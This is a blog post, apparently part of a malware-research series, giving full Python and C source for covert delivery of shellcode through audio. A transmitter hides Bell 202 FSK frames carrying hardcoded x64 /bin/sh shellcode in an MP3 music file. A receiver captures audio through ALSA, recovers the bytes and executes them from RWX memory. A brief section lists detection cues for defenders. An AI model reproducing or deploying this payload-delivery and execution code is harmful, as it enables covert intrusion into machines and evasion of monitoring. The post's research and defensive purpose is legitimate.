19 minute read

Hello, cybersecurity enthusiasts and white hackers!

malware

In part 3, we made the live Bell 202 FSK receiver much more reliable. We fixed ALSA overruns and searched several sub-bit offsets instead of assuming that capture starts exactly at a symbol boundary.

In this part, I want to change the transport. Instead of generating a standalone modem-like signal, I will mix the same framed FSK stream into a normal music file, encode the result as MP3, play it, and recover the frame on the receiving side.

This is not an MP3 parser exploit. The media player only produces sound. A separate receiver must already be running and listening to the audio channel. Therefore, this experiment demonstrates an audio data channel, not automatic code execution by an MP3 player.

protocol

The protocol remains compatible with part 3:

0xAA 0xAA 0xAA 0xAA 0x7E | uint16 length | payload | XOR checksum

Bits are transmitted LSB-first using two frequencies:

bit 0 -> 1200 Hz
bit 1 -> 2200 Hz
sample rate -> 48000 Hz
baud rate -> 300
nominal samples per bit -> 160

For bit (b), the generated signal is

\[s_b[n] = \sin\left(2\pi\frac{f_b}{F_s}n + \phi_n\right), \qquad f_b = \begin{cases} 1200, & b=0,\\ 2200, & b=1. \end{cases}\]

The phase is continued between symbols to avoid unnecessary clicks. The FSK frame is mixed with the decoded music samples:

\[y[n] = x[n] + \alpha s[n], \qquad \alpha = 10^{G/20},\]

where (x[n]) is the music, (s[n]) is the FSK signal, and (G) is the selected FSK level in dBFS. The practical default in this experiment is -12 dBFS.

building the MP3

The Python transmitter performs the following operations:

  1. Decode the source music to stereo 48 kHz floating-point PCM using FFmpeg.
  2. Build the framed Bell 202 signal.
  3. Insert three copies of the frame with 250 ms gaps.
  4. Mix the signal into the music starting at 2 seconds.
  5. Normalize the result to prevent clipping.
  6. Encode it using libmp3lame at 320 kbit/s.
  7. Decode the resulting MP3 again and verify that at least one complete frame can still be recovered.

The important part is the final verification. Creating an MP3 without an encoder error proves almost nothing: lossy compression may damage the two FSK tones. The transmitter accepts the result only when the complete post-compression frame is recovered byte-for-byte.

for gain in gain_candidates:
    mixed = mix_signal(carrier, signal, offset_samples, gain)
    encode_mp3(mixed, output_path, args.bitrate)
    verification = verify_mp3(output_path, frame, expected_starts)
    if verification is not None:
        break

if verification is None:
    raise RuntimeError(
        "MP3 was created, but the FSK frame did not survive compression"
    )

Create the demo file:

python3 transmit_live.py bongo.mp3 demo.mp3

Example output:

malware

why the part 3 receiver failed

The part 3 receiver assumes that every symbol occupies exactly 160 captured samples. That assumption is correct for a generated PCM array, but not always for a complete playback path:

MP3 decoder -> audio server -> DAC -> speaker -> microphone -> ADC -> ALSA

The playback and capture devices have independent clocks. Even when both devices report 48000 Hz, their physical clocks are not identical. A small error accumulates across the frame, moving the Goertzel window toward the boundary between two symbols.

There was also a simpler logic bug. The transmitter writes three copies, but the part 3 receiver stops searching after the first valid preamble. If that frame has a bad checksum, copies two and three are never examined at the same alignment.

symbol-clock recovery

Part 4 first performs a coarse search using 32 offsets with a 5-sample step. After locating an approximate preamble, it uses the known 40 preamble bits to refine two parameters:

\[(\hat{\tau}, \hat{T}) = \arg\max_{\tau,T} \sum_{k=0}^{39} q_k\frac{P_{e_k}(k;\tau,T)-P_{1-e_k}(k;\tau,T)} {P_{1200}(k;\tau,T)+P_{2200}(k;\tau,T)+\varepsilon},\]

where (\tau) is the frame start, (T) is samples per bit, (e_k) is the expected preamble bit, and (P_f) is the Goertzel power at frequency (f). In the implementation:

start correction: -12 ... +12 samples
symbol period:     158.0 ... 162.0 samples
step:              0.1 sample

For each symbol, the receiver compares the two Goertzel powers:

\[\hat{b}_k = \begin{cases} 1, & P_{2200}(k) > P_{1200}(k),\\ 0, & \text{otherwise}. \end{cases}\]

Only the central 84% of a symbol is analyzed. Removing the edges reduces contamination from adjacent symbols, timing errors, and short room echoes.

The updated receiver also captures 12 seconds and continues after a checksum failure, so every repeated frame can be tested.

Full source code for transmitter (transmitter_live.py):

#!/usr/bin/env python3
"""
transmit_live.py
embed a fixed payload into a music MP3 using Bell 202 FSK.
the output is decoded and verified after MP3 compression. 
this PoC for educational and research purposes only.
author: @cocomelonc
"""

import argparse
import shutil
import struct
import subprocess
import sys
from pathlib import Path

import numpy as np

# protocol constants, match the receiver from part 3.
SAMPLE_RATE = 48000
BAUD_RATE = 300
FREQ_MARK = 2200
FREQ_SPACE = 1200
SPB = SAMPLE_RATE // BAUD_RATE
PREAMBLE = bytes([0xAA, 0xAA, 0xAA, 0xAA, 0x7E])

CHANNELS = 2

# demo payload (linux x64 /bin/sh)
DEMO_PAYLOAD = bytes([
    0x48, 0x31, 0xc0, 0x50, 0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 
    0x2f, 0x2f, 0x73, 0x68, 0x53, 0x48, 0x89, 0xe7, 0x50, 0x57, 
    0x48, 0x89, 0xe6, 0x48, 0x31, 0xd2, 0xb0, 0x3b, 0x0f, 0x05
])

def build_frame(payload: bytes) -> bytes:
    """Build: preamble + 2-byte big-endian length + payload + XOR checksum."""
    checksum = 0
    for byte in payload:
        checksum ^= byte
    return PREAMBLE + struct.pack(">H", len(payload)) + payload + bytes([checksum])

def build_fsk_frame(frame: bytes) -> np.ndarray:
    """Generate phase-continuous Bell 202 FSK, LSB first inside each byte."""
    signal = np.empty(len(frame) * 8 * SPB, dtype=np.float32)
    sample_axis = np.arange(SPB, dtype=np.float64)
    cursor = 0
    phase = 0.0

    for byte in frame:
        for bit_index in range(8):
            bit = (byte >> bit_index) & 1
            frequency = FREQ_MARK if bit else FREQ_SPACE
            phase_step = 2.0 * np.pi * frequency / SAMPLE_RATE
            tone = np.sin(phase + phase_step * sample_axis)
            signal[cursor:cursor + SPB] = tone
            phase = (phase + phase_step * SPB) % (2.0 * np.pi)
            cursor += SPB

    # a short edge ramp suppresses clicks without consuming a full symbol.
    ramp_samples = 16
    ramp = np.linspace(0.0, 1.0, ramp_samples, endpoint=False, dtype=np.float32)
    signal[:ramp_samples] *= ramp
    signal[-ramp_samples:] *= ramp[::-1]
    return signal

def build_repeated_signal(frame: bytes, repeats: int, gap_seconds: float) -> tuple[np.ndarray, list[int]]:
    one_frame = build_fsk_frame(frame)
    gap = np.zeros(round(gap_seconds * SAMPLE_RATE), dtype=np.float32)
    chunks = []
    starts = []
    cursor = 0

    for repeat_index in range(repeats):
        starts.append(cursor)
        chunks.append(one_frame)
        cursor += len(one_frame)
        if repeat_index + 1 < repeats:
            chunks.append(gap)
            cursor += len(gap)

    return np.concatenate(chunks), starts

def run_ffmpeg(arguments: list[str], stdin: bytes | None = None) -> bytes:
    command = ["ffmpeg", "-hide_banner", "-loglevel", "error", *arguments]
    result = subprocess.run(command, input=stdin, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
    if result.returncode != 0:
        message = result.stderr.decode("utf-8", errors="replace").strip()
        raise RuntimeError(f"ffmpeg failed: {message}")
    return result.stdout

def decode_audio(path: Path, channels: int) -> np.ndarray:
    """decode any ffmpeg-supported audio file to 48 kHz float PCM."""
    raw = run_ffmpeg([
        "-i", str(path),
        "-vn",
        "-f", "f32le",
        "-acodec", "pcm_f32le",
        "-ar", str(SAMPLE_RATE),
        "-ac", str(channels),
        "pipe:1",
    ])
    samples = np.frombuffer(raw, dtype="<f4").copy()
    if samples.size == 0 or samples.size % channels != 0:
        raise ValueError(f"cannot decode valid PCM from {path}")
    return samples.reshape((-1, channels))

def encode_mp3(samples: np.ndarray, output_path: Path, bitrate: str) -> None:
    output_path.parent.mkdir(parents=True, exist_ok=True)
    pcm = np.asarray(samples, dtype="<f4").tobytes()
    run_ffmpeg([
        "-y",
        "-f", "f32le",
        "-ar", str(SAMPLE_RATE),
        "-ac", str(samples.shape[1]),
        "-i", "pipe:0",
        "-vn",
        "-codec:a", "libmp3lame",
        "-b:a", bitrate,
        str(output_path),
    ], stdin=pcm)

def tone_power(samples: np.ndarray, frequency: float) -> float:
    """Goertzel power at one protocol frequency."""
    omega = 2.0 * np.pi * frequency / SAMPLE_RATE
    coefficient = 2.0 * np.cos(omega)
    q1 = 0.0
    q2 = 0.0
    for sample in samples:
        q0 = coefficient * q1 - q2 + float(sample)
        q2 = q1
        q1 = q0
    return q1 * q1 + q2 * q2 - coefficient * q1 * q2

def decode_frame_at(samples: np.ndarray, start: int, frame_size: int) -> bytes | None:
    total_samples = frame_size * 8 * SPB
    if start < 0 or start + total_samples > len(samples):
        return None

    decoded = bytearray(frame_size)
    cursor = start
    for byte_index in range(frame_size):
        value = 0
        for bit_index in range(8):
            symbol = samples[cursor:cursor + SPB]
            mark = tone_power(symbol, FREQ_MARK)
            space = tone_power(symbol, FREQ_SPACE)
            if mark > space:
                value |= 1 << bit_index
            cursor += SPB
        decoded[byte_index] = value
    return bytes(decoded)

def verify_mp3(output_path: Path, frame: bytes, expected_starts: list[int]) -> tuple[int, int] | None:
    """decode the compressed MP3 and recover an exact checksummed frame."""
    mono = decode_audio(output_path, channels=1)[:, 0]

    # ffmpeg usually removes encoder delay, but scanning +/- one symbol also
    # covers small timing shifts introduced by another MP3 implementation.
    for repeat_index, expected_start in enumerate(expected_starts, start=1):
        for delta in range(-SPB, SPB + 1):
            candidate_start = expected_start + delta
            if decode_frame_at(mono, candidate_start, len(frame)) == frame:
                return repeat_index, candidate_start
    return None

def mix_signal(carrier: np.ndarray, signal: np.ndarray, offset_samples: int, gain_dbfs: float) -> np.ndarray:
    end = offset_samples + len(signal)
    if offset_samples < 0:
        raise ValueError("offset must not be negative")
    if end > len(carrier):
        required = end / SAMPLE_RATE
        available = len(carrier) / SAMPLE_RATE
        raise ValueError(f"carrier is too short: need {required:.2f}s, have {available:.2f}s")

    mixed = carrier.copy()
    fsk_gain = 10.0 ** (gain_dbfs / 20.0)
    mixed[offset_samples:end, :] += signal[:, None] * fsk_gain

    peak = float(np.max(np.abs(mixed)))
    if peak > 0.98:
        mixed *= 0.98 / peak
    return mixed

def embed_and_verify(args: argparse.Namespace) -> None:
    if shutil.which("ffmpeg") is None:
        raise RuntimeError("ffmpeg is required but was not found in PATH")

    input_path = Path(args.input)
    output_path = Path(args.output)
    if not input_path.is_file():
        raise FileNotFoundError(input_path)
    if input_path.resolve() == output_path.resolve():
        raise ValueError("input and output paths must be different")
    if args.repeats < 1 or args.repeats > 5:
        raise ValueError("repeats must be between 1 and 5")

    payload = DEMO_PAYLOAD
    frame = build_frame(payload)
    signal, relative_starts = build_repeated_signal(frame, args.repeats, args.gap)
    offset_samples = round(args.offset * SAMPLE_RATE)
    expected_starts = [offset_samples + start for start in relative_starts]
    carrier = decode_audio(input_path, channels=CHANNELS)

    # If the selected music masks the initial level, strengthen the signal in
    # 3 dB steps. A generated file is accepted only after byte-exact recovery.
    gain_candidates = [args.fsk_dbfs]
    while gain_candidates[-1] < -6.0:
        gain_candidates.append(min(-6.0, gain_candidates[-1] + 3.0))

    verification = None
    used_gain = args.fsk_dbfs
    for gain in gain_candidates:
        mixed = mix_signal(carrier, signal, offset_samples, gain)
        encode_mp3(mixed, output_path, args.bitrate)
        verification = verify_mp3(output_path, frame, expected_starts)
        used_gain = gain
        if verification is not None:
            break
        print(f"[=^..^=] verification failed at {gain:.1f} dBFS; retrying stronger", file=sys.stderr)

    if verification is None:
        raise RuntimeError("MP3 was created, but the FSK frame did not survive compression")

    repeat_index, recovered_sample = verification
    checksum = frame[-1]
    print(f"[=^..^=] input        : {input_path}")
    print(f"[=^..^=] output       : {output_path}")
    print(f"[=^..^=] payload      : test /bin/sh, {len(payload)} bytes")
    print(f"[=^..^=] frame        : {len(frame)} bytes, checksum 0x{checksum:02x}")
    print(f"[=^..^=] modulation   : {FREQ_SPACE}/{FREQ_MARK} Hz BFSK, {BAUD_RATE} baud")
    print(f"[=^..^=] placement    : {args.offset:.2f}s, {args.repeats} copies, {used_gain:.1f} dBFS")
    print(f"[=^..^=] verification : PASS, copy {repeat_index}, sample {recovered_sample}")

def parse_args() -> argparse.Namespace:
    parser = argparse.ArgumentParser(
        description="embed a verified demo payload into a music MP3."
    )
    parser.add_argument("input", help="source music file (MP3 or any ffmpeg-supported audio)")
    parser.add_argument("output", help="output .mp3 path")
    parser.add_argument("--offset", type=float, default=2.0, help="first frame position in seconds")
    parser.add_argument("--repeats", type=int, default=3, help="number of frame copies (1-5)")
    parser.add_argument("--gap", type=float, default=0.25, help="silence between frame copies")
    parser.add_argument("--fsk-dbfs", type=float, default=-12.0, help="initial FSK level in dBFS")
    parser.add_argument("--bitrate", default="320k", help="MP3 bitrate passed to ffmpeg")
    return parser.parse_args()

if __name__ == "__main__":
    try:
        embed_and_verify(parse_args())
    except (FileNotFoundError, RuntimeError, ValueError) as error:
        print(f"error: {error}", file=sys.stderr)
        raise SystemExit(1)

Receiver (receiver.c):

/*
 * receiver.c
 * updated for part 4 RnD
 * real-time FSK acoustic shellcode receiver (Linux / ALSA)
 * author : @cocomelonc
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <math.h>
#include <sys/mman.h>
#include <alsa/asoundlib.h>

// Bell 202 and DSP Constants
#define PI          3.14159265358979323846
#define SAMPLE_RATE 48000
#define BAUD_RATE   300
#define FREQ_MARK   2200          // bit 1 - high tone
#define FREQ_SPACE  1200          // bit 0 - low tone
#define SPB         (SAMPLE_RATE / BAUD_RATE)   // 160 samples per bit

// Acoustic playback can start late and its sample clock is not exactly 48 kHz.
#define CAPTURE_SECS  12               // enough time for all repeated frames
#define N_OFFSETS     32               // coarse alignment over one bit period
#define OFFSET_STEP   (SPB / N_OFFSETS)
#define MAX_PAYLOAD   512
#define TIMING_MIN    158.0            // +/-1.25% sample-clock search
#define TIMING_MAX    162.0
#define TIMING_STEP   0.1
#define START_RADIUS  12

static int decode_only = 0;

// frame preamble for synchronization
static const uint8_t PREAMBLE[] = {0xAA, 0xAA, 0xAA, 0xAA, 0x7E};
#define PREAMBLE_LEN  5
#define PREAMBLE_BITS (PREAMBLE_LEN * 8)        // 40 bits

// Goertzel algorithm: detects the magnitude of a specific frequency in a block of samples
static double goertzel(const int16_t *s, int n, double freq) {
  double omega = 2.0 * PI * freq / (double)SAMPLE_RATE;
  double coeff = 2.0 * cos(omega);
  double q1 = 0.0, q2 = 0.0, q0;
  for (int i = 0; i < n; i++) {
    q0 = coeff * q1 - q2 + (double)s[i] / 32768.0;
    q2 = q1;
    q1 = q0;
  }
  return q1 * q1 + q2 * q2 - coeff * q1 * q2;
}

// ALSA: open and configure capture device
static snd_pcm_t *open_capture(const char *device) {
  snd_pcm_t *h;
  int rc = snd_pcm_open(&h, device, SND_PCM_STREAM_CAPTURE, 0);
  if (rc < 0) {
    fprintf(stderr, "[=^..^=] cannot open '%s': %s\n", device, snd_strerror(rc));
    return NULL;
  }
  rc = snd_pcm_set_params(h,
    SND_PCM_FORMAT_S16_LE,
    SND_PCM_ACCESS_RW_INTERLEAVED,
    1, SAMPLE_RATE, 1, 100000);
  if (rc < 0) {
    fprintf(stderr, "[=^..^=] set_params failed: %s\n", snd_strerror(rc));
    snd_pcm_close(h);
    return NULL;
  }
  return h;
}

// capture CAPTURE_SECS seconds into a heap buffer
static int16_t *capture_audio(snd_pcm_t *h, int *out_samples) {
  int total = CAPTURE_SECS * SAMPLE_RATE;
  int16_t *buf = malloc((size_t)total * sizeof(int16_t));
  if (!buf) { fprintf(stderr, "[=^..^=] OOM\n"); return NULL; }

  int got = 0, prev_sec = CAPTURE_SECS + 1;
  while (got < total) {
    int want = total - got;
    if (want > 4800) want = 4800;   /* 0.1 s chunks */
    int rc = snd_pcm_readi(h, buf + got, (snd_pcm_uframes_t)want);
    if (rc == -EPIPE) { snd_pcm_prepare(h); continue; }
    if (rc < 0) {
      fprintf(stderr, "\n[=^..^=] read error: %s\n", snd_strerror(rc));
      free(buf);
      return NULL;
    }
    got += rc;
    int secs_left = CAPTURE_SECS - got / SAMPLE_RATE;
    if (secs_left != prev_sec) {
      prev_sec = secs_left;
      printf("\r[=^..^=] listening... %2d s remaining   ", secs_left);
      fflush(stdout);
    }
  }
  printf("\r[=^..^=] capture complete - %d samples (%d s)          \n\n",
         got, CAPTURE_SECS);
  *out_samples = got;
  return buf;
}

// bit extraction: 8 bits LSB-first from a flat bit array
static uint8_t get_byte(const uint8_t *bits, int bit_offset) {
  uint8_t res = 0;
  for (int i = 0; i < 8; i++)
    if (bits[bit_offset + i]) res |= (uint8_t)(1u << i);
  return res;
}

static int expected_preamble_bit(int bit_index) {
  int byte_index = bit_index / 8;
  int in_byte = bit_index % 8;
  return (PREAMBLE[byte_index] >> in_byte) & 1;
}

// Decode from the middle 84% of a symbol. Ignoring symbol edges makes the
// decision less sensitive to room echoes and small clock errors.
static int timed_bit(const int16_t *audio, int n_samples,
                     double frame_start, double samples_per_bit,
                     int bit_index, double *confidence) {
  double symbol_start = frame_start + bit_index * samples_per_bit;
  int begin = (int)llround(symbol_start + 0.08 * samples_per_bit);
  int end = (int)llround(symbol_start + 0.92 * samples_per_bit);
  if (begin < 0 || end > n_samples || end <= begin) return -1;

  double mark = goertzel(audio + begin, end - begin, FREQ_MARK);
  double space = goertzel(audio + begin, end - begin, FREQ_SPACE);
  double total = mark + space + 1.0e-20;
  if (confidence) *confidence = fabs(mark - space) / total;
  return mark > space ? 1 : 0;
}

static int timed_byte(const int16_t *audio, int n_samples,
                      double frame_start, double samples_per_bit,
                      int bit_offset, uint8_t *value) {
  uint8_t result = 0;
  for (int i = 0; i < 8; i++) {
    int bit = timed_bit(audio, n_samples, frame_start, samples_per_bit,
                        bit_offset + i, NULL);
    if (bit < 0) return 0;
    if (bit) result |= (uint8_t)(1u << i);
  }
  *value = result;
  return 1;
}

// The fixed-SPB pass locates a rough preamble. This pass estimates the actual
// symbol start and period from the 40 known preamble bits.
static int refine_timing(const int16_t *audio, int n_samples, int rough_start,
                         double *best_start, double *best_spb,
                         int *best_matches, double *best_score) {
  *best_matches = -1;
  *best_score = -1.0e30;

  for (double spb = TIMING_MIN; spb <= TIMING_MAX + 0.001;
       spb += TIMING_STEP) {
    for (int delta = -START_RADIUS; delta <= START_RADIUS; delta++) {
      double start = rough_start + delta;
      int matches = 0;
      double score = 0.0;
      int valid = 1;

      for (int bit_index = 0; bit_index < PREAMBLE_BITS; bit_index++) {
        double confidence = 0.0;
        int bit = timed_bit(audio, n_samples, start, spb, bit_index,
                            &confidence);
        if (bit < 0) { valid = 0; break; }
        int expected = expected_preamble_bit(bit_index);
        if (bit == expected) {
          matches++;
          score += confidence;
        } else {
          score -= confidence;
        }
      }

      if (valid && (matches > *best_matches ||
          (matches == *best_matches && score > *best_score))) {
        *best_matches = matches;
        *best_score = score;
        *best_start = start;
        *best_spb = spb;
      }
    }
  }
  return *best_matches >= PREAMBLE_BITS - 1;
}

// demodulate at a given sample offset -> allocated bit array
static uint8_t *demodulate(const int16_t *audio, int n_samples,
                            int offset, int *out_bits) {
  int usable = n_samples - offset;
  int n_bits  = usable / SPB;
  if (n_bits <= 0) { *out_bits = 0; return NULL; }

  uint8_t *bits = malloc((size_t)n_bits);
  if (!bits) { *out_bits = 0; return NULL; }

  const int16_t *p = audio + offset;
  for (int i = 0; i < n_bits; i++) {
    double pm = goertzel(p + i * SPB, SPB, FREQ_MARK);
    double ps = goertzel(p + i * SPB, SPB, FREQ_SPACE);
    bits[i]   = (pm > ps) ? 1 : 0;
  }
  *out_bits = n_bits;
  return bits;
}

static int execute_payload(uint8_t *payload, uint16_t pay_len) {
  printf("[=^..^=] payload length : %u bytes\n\n", pay_len);
  printf("[=^..^=] shellcode recovered (%u bytes):\n", pay_len);
  for (int i = 0; i < (int)pay_len; i++) {
    printf("%02x ", payload[i]);
    if ((i + 1) % 16 == 0) printf("\n");
  }
  if (pay_len % 16 != 0) printf("\n");
  printf("\n");

  if (decode_only) {
    printf("[=^..^=] decode-only: payload execution skipped\n");
    free(payload);
    return 1;
  }

  void *mem = mmap(NULL, pay_len,
                   PROT_READ | PROT_WRITE | PROT_EXEC,
                   MAP_ANON | MAP_PRIVATE, -1, 0);
  if (mem == MAP_FAILED) {
    perror("[=^..^=] mmap");
    free(payload);
    return 0;
  }

  memcpy(mem, payload, pay_len);
  free(payload);

  printf("[=^..^=] jumping to shellcode...  =^..^=\n");
  ((void(*)())mem)();

  munmap(mem, pay_len);
  return 1;
}

static int try_candidate(const int16_t *audio, int n_samples,
                         int offset, int pre_bit) {
  int rough_start = offset + pre_bit * SPB;
  double frame_start = 0.0, samples_per_bit = SPB, timing_score = 0.0;
  int timing_matches = 0;

  if (!refine_timing(audio, n_samples, rough_start, &frame_start,
                     &samples_per_bit, &timing_matches, &timing_score)) {
    return 0;
  }

  int cursor = PREAMBLE_BITS;
  uint8_t l1 = 0, l2 = 0;
  if (!timed_byte(audio, n_samples, frame_start, samples_per_bit,
                  cursor, &l1)) return 0;
  cursor += 8;
  if (!timed_byte(audio, n_samples, frame_start, samples_per_bit,
                  cursor, &l2)) return 0;
  cursor += 8;

  uint16_t pay_len = ((uint16_t)l1 << 8) | l2;
  if (pay_len == 0 || pay_len > MAX_PAYLOAD) return 0;

  double frame_end = frame_start +
    (PREAMBLE_BITS + 16 + ((int)pay_len + 1) * 8) * samples_per_bit;
  if (frame_start < 0.0 || frame_end > n_samples) return 0;

  uint8_t *payload = malloc(pay_len);
  if (!payload) return 0;

  uint8_t checksum_calc = 0;
  for (int i = 0; i < (int)pay_len; i++) {
    if (!timed_byte(audio, n_samples, frame_start, samples_per_bit,
                    cursor, &payload[i])) {
      free(payload);
      return 0;
    }
    checksum_calc ^= payload[i];
    cursor += 8;
  }

  uint8_t checksum_rx = 0;
  if (!timed_byte(audio, n_samples, frame_start, samples_per_bit,
                  cursor, &checksum_rx)) {
    free(payload);
    return 0;
  }

  printf("[=^..^=] offset %3d: preamble bit %d, timing %.2f samples/bit, "
         "%d/%d sync bits\n",
         offset, pre_bit, samples_per_bit, timing_matches, PREAMBLE_BITS);

  if (checksum_calc != checksum_rx) {
    printf("[=^..^=] offset %3d: checksum FAIL calc=0x%02x rx=0x%02x; "
           "trying next frame\n", offset, checksum_calc, checksum_rx);
    free(payload);
    return 0;
  }

  printf("[=^..^=] offset %3d: checksum OK (0x%02x)\n",
         offset, checksum_rx);
  return execute_payload(payload, pay_len);
}

// Try every preamble at one coarse alignment. The old receiver returned after
// the first corrupt frame and never reached transmitter copies 2 and 3.
static int try_offset(const int16_t *audio, int n_samples, int offset) {
  int n_bits = 0;
  uint8_t *bits = demodulate(audio, n_samples, offset, &n_bits);
  if (!bits) return 0;

  int found = 0;
  int limit = n_bits - PREAMBLE_BITS - 24;
  for (int bit_index = 0; bit_index < limit; bit_index++) {
    int match = 1;
    for (int byte_index = 0; byte_index < PREAMBLE_LEN && match;
         byte_index++) {
      if (get_byte(bits, bit_index + byte_index * 8) !=
          PREAMBLE[byte_index]) match = 0;
    }
    if (!match) continue;

    found++;
    if (try_candidate(audio, n_samples, offset, bit_index)) {
      free(bits);
      return 1;
    }
    bit_index += PREAMBLE_BITS - 1;
  }

  if (!found) {
    printf("[=^..^=] offset %3d: preamble not found\n", offset);
  }
  free(bits);
  return 0;
}

static int16_t *read_raw_audio(const char *path, int *out_samples) {
  FILE *file = fopen(path, "rb");
  if (!file) {
    perror("[=^..^=] raw input");
    return NULL;
  }

  int max_samples = CAPTURE_SECS * SAMPLE_RATE;
  int16_t *audio = malloc((size_t)max_samples * sizeof(*audio));
  if (!audio) {
    fclose(file);
    return NULL;
  }

  size_t count = fread(audio, sizeof(*audio), (size_t)max_samples, file);
  if (ferror(file)) {
    perror("[=^..^=] raw read");
    free(audio);
    fclose(file);
    return NULL;
  }
  fclose(file);
  if (count == 0) {
    fprintf(stderr, "[=^..^=] raw input is empty\n");
    free(audio);
    return NULL;
  }

  *out_samples = (int)count;
  return audio;
}

static int scan_audio(const int16_t *audio, int n_samples) {
  printf("[=^..^=] scanning %d alignment offsets (step = %d samples)...\n\n",
         N_OFFSETS, OFFSET_STEP);

  for (int t = 0; t < N_OFFSETS; t++) {
    int offset = t * OFFSET_STEP;
    if (try_offset(audio, n_samples, offset)) return 1;
  }
  return 0;
}

// main
int main(int argc, char **argv) {
  if (argc >= 2 && strcmp(argv[1], "--raw") == 0) {
    if (argc != 3) {
      fprintf(stderr, "usage: %s --raw capture.s16le\n", argv[0]);
      return 2;
    }
    decode_only = 1;
    int n_samples = 0;
    int16_t *audio = read_raw_audio(argv[2], &n_samples);
    if (!audio) return 1;
    printf("[=^..^=] raw input     : %s\n", argv[2]);
    printf("[=^..^=] raw format    : mono s16le, %d Hz\n", SAMPLE_RATE);
    printf("[=^..^=] raw samples   : %d (%.2f s)\n\n",
           n_samples, (double)n_samples / SAMPLE_RATE);
    int found = scan_audio(audio, n_samples);
    free(audio);
    return found ? 0 : 1;
  }

  const char *device = (argc > 1) ? argv[1] : "default";
  printf("[=^..^=] receiver  Bell 202 FSK  %d/%d Hz  %d baud  %d kHz\n",
         FREQ_MARK, FREQ_SPACE, BAUD_RATE, SAMPLE_RATE / 1000);
  printf("[=^..^=] capture device : %s\n", device);
  printf("[=^..^=] SPB            : %d samples per bit\n", SPB);
  printf("[=^..^=] strategy       : %d offsets + clock recovery + all frames\n\n",
         N_OFFSETS);

  snd_pcm_t *handle = open_capture(device);
  if (!handle) return 1;

  int n_samples = 0;
  int16_t *audio = capture_audio(handle, &n_samples);
  snd_pcm_close(handle);
  if (!audio) return 1;

  int found = scan_audio(audio, n_samples);

  free(audio);
  if (found) return 0;
  printf("\n[=^..^=] no valid frame found in %d s of audio\n", CAPTURE_SECS);
  printf("transmitter: python3 transmit_live.py (device: hw:Loopback,0,0)\n");
  return 1;
}

demo and decoding test

Compile the receiver:

gcc -O2 receiver.c -o receiver -lasound -lm

malware

For a deterministic test, decode the first 12 seconds of the MP3 to the exact raw format expected by the receiver:

ffmpeg -t 12 -i demo.mp3 -f s16le -acodec pcm_s16le -ar 48000 -ac 1 demo.s16le

malware

./receiver --raw demo.s16le

The --raw mode is decode-only: it verifies and prints the recovered bytes but deliberately skips execution. On my generated demo.mp3, the result is:

malware

This proves that the complete frame survives real MP3 encoding and decoding. It does not, by itself, prove reliability through arbitrary speakers, microphones, rooms, or volume levels. Those introduce a separate acoustic channel, and success depends mainly on signal-to-noise ratio, frequency response, echo, and clock mismatch.

For the live experiment, start the receiver and then play the MP3 immediately:

./receiver default
ffplay -nodisp -autoexit demo.mp3

malware

I might add something interesting and show it at my next conference presentation. For a conference demo, an ALSA loopback is more reproducible than an open-air microphone. The exact device numbers must be checked using aplay -l and arecord -l.

defensive perspective

This channel is not invisible. A defender can detect persistent energy around the two carrier frequencies, search decoded audio for the repeated preamble, or alert when an audio-capturing process later allocates executable memory. The strongest detection combines both sides: unusual spectral structure in the media channel and suspicious behavior in the receiver process.

conclusion

Part 3 solved coarse symbol alignment for a live FSK signal. Part 4 adds a lossy music container and deals with the new failure modes: MP3 distortion, repeated frames, delayed playback, symbol-clock drift, and boundary interference.

The key engineering rule is simple: never claim that a transport works merely because the output file was created. Decode the final artifact, recover the complete frame, and verify its checksum.

The complete source code is available in the signal-malware-delivery-poc repository.
demo video - telegram

This is a practical case for educational purposes only.

Thanks for your time, happy hacking and good bye!
PS. All drawings and screenshots are mine